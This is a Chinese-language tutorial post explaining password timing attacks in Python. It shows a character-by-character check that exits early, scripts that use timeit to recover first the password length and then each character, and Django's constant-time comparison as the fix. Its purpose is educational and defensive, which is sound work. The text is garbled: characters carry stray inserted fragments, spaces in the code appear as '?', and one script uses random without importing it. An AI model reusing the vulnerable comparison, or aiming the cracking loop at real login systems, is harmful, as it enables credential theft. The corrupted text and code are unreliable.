用 Python 告訴你什么是計(jì)時(shí)攻擊
用戶密碼登陸是一個(gè)系統(tǒng)常見(jiàn)的鑒權(quán)方法,如果處理不當(dāng)就會(huì)隱藏計(jì)時(shí)攻擊漏洞。本文用 Python 告訴你什么是計(jì)時(shí)攻擊,如何進(jìn)行計(jì)時(shí)攻擊,以及怎么避免。
什么是計(jì)時(shí)攻擊
比如說(shuō)你驗(yàn)證密碼時(shí)是按照字符串一位一位的比較,如果某一位不匹配,就返回 False,這樣就中招了。因?yàn)檎_的密碼必然需要每一位都參與比較,這樣,攻擊者就統(tǒng)計(jì)不同長(zhǎng)度的輸入所消耗的時(shí)間,消耗時(shí)間最長(zhǎng)的,就是正確的密碼長(zhǎng)度。在這個(gè)密碼長(zhǎng)度之下,再逐位通過(guò)計(jì)時(shí)攻擊進(jìn)行破解,消耗時(shí)間較長(zhǎng)的那個(gè)字符就是正確的,時(shí)間復(fù)雜度也就是O(n*k),n 允許的字符數(shù)量,k 表示密碼長(zhǎng)度。
用 Python 進(jìn)行計(jì)時(shí)攻擊
比如說(shuō)你使用這樣的方法來(lái)驗(yàn)證用戶登陸:
password_database?=?{"somenzz":?"subscribe?to?python?seven"}
def?check_password(user,?guess):
????actual?=?password_database[user]
????if?len(guess)?!=?len(actual):
????????return?False
????
????#?逐個(gè)字符比較
????for?i?in?range(len(actual)):
????????if?guess[i]?!=?actual[i]:
????????????return?False
????return?True
上面代碼的邏輯雖然清晰,卻存在計(jì)時(shí)攻擊漏洞,因?yàn)殚L(zhǎng)度不一樣就返回了,花費(fèi)的時(shí)間最少,當(dāng)長(zhǎng)度正確時(shí)需要逐個(gè)字符比較,花費(fèi)時(shí)間最長(zhǎng)。根據(jù)程序的執(zhí)行耗時(shí)可以爆破出正確的密碼長(zhǎng)度。
比如說(shuō)窮舉 1-30 長(zhǎng)度的密碼,花費(fèi)時(shí)間最長(zhǎng)的那個(gè)一定是正確的密碼長(zhǎng)度,因此可以編寫下面的代碼來(lái)破解密碼長(zhǎng)度:
import?string
import?timeit
import?numpy?as?np
allowed_chars?=?string.ascii_lowercase?+?"?"
def?random_str(size):
????return?''.join(random.choices(allowed_chars,?k=size))
def?crack_length(user,?max_len=30,?verbose=False)?->?int:
????trials?=?2000
????times?=?np.empty(max_len)
????for?i?in?range(max_len):
????????i_time?=?timeit.repeat(stmt='check_password(user,?x)',
???????????????????????????????setup=f'user={user!r};x=random_str({i!r})',
???????????????????????????????globals=globals(),
???????????????????????????????number=trials,
???????????????????????????????repeat=10)
????????times[i]?=?min(i_time)
????if?verbose:
????????#?排序,取最大的前?5?個(gè)
????????most_likely_n?=?np.argsort(times)[::-1][:5]
????????print(most_likely_n,?times[most_likely_n]?/?times[most_likely_n[0]])
????#取最大
????most_likely?=?int(np.argmax(times))
????return?most_likely?
?def?main():
????user?=?"somenzz"
????length?=?crack_length(user,?verbose=True)
????print(f"密碼最可能的長(zhǎng)度是?{length}")???
if?__name__?==?'__main__':
????main()
執(zhí)行結(jié)果如下:

有了長(zhǎng)度,就可以逐個(gè)字符破解了,先隨機(jī)一個(gè) 25 位長(zhǎng)度的字符串,記為 guess,然后從第一位開(kāi)始逐位爆破嘗試,如果正確,那花費(fèi)的時(shí)間肯定比之前的多,然后就更新 guess,就這樣可以爆破出全部的字符串,運(yùn)行期間如果通過(guò)了 check_password,那就返回結(jié)果,終止運(yùn)行,代碼如下:
import?itertools
import?string
import?timeit
import?numpy?as?np
"""
將上面的代碼復(fù)制過(guò)來(lái)
"""
def?crack_password(user,?length,?verbose=False):
????guess?=?random_str(length)
????print(f"{guess=}")
????counter?=?itertools.count()
????print(f"{counter?=}")
????trials?=?1000
????while?True:
????????i?=?next(counter)?%?length
????????for?c?in?allowed_chars:
????????????alt?=?guess[:i]?+?c?+?guess[i?+?1:]
????????????alt_time?=?timeit.repeat(stmt='check_password(user,?x)',
?????????????????????????????????????setup=f'user={user!r};x={alt!r}',
?????????????????????????????????????globals=globals(),
?????????????????????????????????????number=trials,
?????????????????????????????????????repeat=10)
????????????guess_time?=?timeit.repeat(stmt='check_password(user,?x)',
???????????????????????????????????????setup=f'user={user!r};x={guess!r}',
???????????????????????????????????????globals=globals(),
???????????????????????????????????????number=trials,
???????????????????????????????????????repeat=10)
????????????if?check_password(user,?alt):
????????????????return?alt
????????????if?min(alt_time)?>?min(guess_time):
????????????????guess?=?alt
????????????????if?verbose:
????????????????????print(guess)
????????????????????
def?main():
????user?=?"somenzz"
????length?=?crack_length(user,?verbose=True)
????print(f"密碼最可能的長(zhǎng)度是?{length}")
????input("按回車?yán)^續(xù)破解密碼...")
????password?=?crack_password(user,?length,?verbose=True)
????print(f"password?cracked:'{password}'")
if?__name__?==?'__main__':
????main()
運(yùn)行效果如下:

crack_password?cost?40.3145?seconds
考慮到都是小寫字母,時(shí)間復(fù)雜度也就是?O(n*k),n 字符的數(shù)量,k 表示密碼長(zhǎng)度,本案例中也就是?O(26*25), 在我的電腦上 40 秒就破解了,是不是很神奇?
怎么解決計(jì)時(shí)攻擊?
文章開(kāi)頭提到的那種驗(yàn)證字符串是否相等的寫法可以說(shuō)很常見(jiàn),如果某一位長(zhǎng)度不等就沒(méi)必要繼續(xù)向右判斷了,直接返回即可,還可以提升一點(diǎn)性能,但卻會(huì)造成計(jì)時(shí)攻擊,作為程序員的你,此時(shí)是否覺(jué)得有點(diǎn)懵呢?寫代碼還真是一點(diǎn)點(diǎn)都不能松懈啊。
其實(shí),安全永遠(yuǎn)是高于性能的,一個(gè)不安全的系統(tǒng),在高的性能恐怕也沒(méi)人敢用。
那字符串比較最安全的辦法是什么呢?那就是把所有的位都比較一遍,可以參考 Django 判斷字符串相等的源碼:
def?constant_time_compare(val1,?val2):
????"""
????Returns?True?if?the?two?strings?are?equal,?False?otherwise.
????The?time?taken?is?independent?of?the?number?of?characters?that?match.
????For?the?sake?of?simplicity,?this?function?executes?in?constant?time?only
????when?the?two?strings?have?the?same?length.?It?short-circuits?when?they
????have?different?lengths.
????"""
????if?len(val1)?!=?len(val2):
????????return?False
????result?=?0
????for?x,?y?in?zip(val1,?val2):
????????result?|=?ord(x)?^?ord(y)
????return?result?==?0
不過(guò),上述代碼你仍然可以通過(guò)計(jì)時(shí)爆破出長(zhǎng)度,卻不可能通過(guò)統(tǒng)計(jì)時(shí)間爆破出具體的密碼。
如果你不想被爆破出密碼的長(zhǎng)度,可以將判斷長(zhǎng)度的邏輯刪除,然后補(bǔ)全字符串的長(zhǎng)度,讓兩個(gè)字符串的長(zhǎng)度始終相等即可。
最后的話
本文分享了什么是計(jì)時(shí)攻擊,用 Python 演示了如何通過(guò)計(jì)時(shí)攻擊破解密碼長(zhǎng)度及破解最終的密碼,最后分享了如何解決計(jì)時(shí)攻擊漏洞。如果有幫助的話,還請(qǐng)點(diǎn)贊、關(guān)注、轉(zhuǎn)發(fā),感謝老鐵的閱讀。
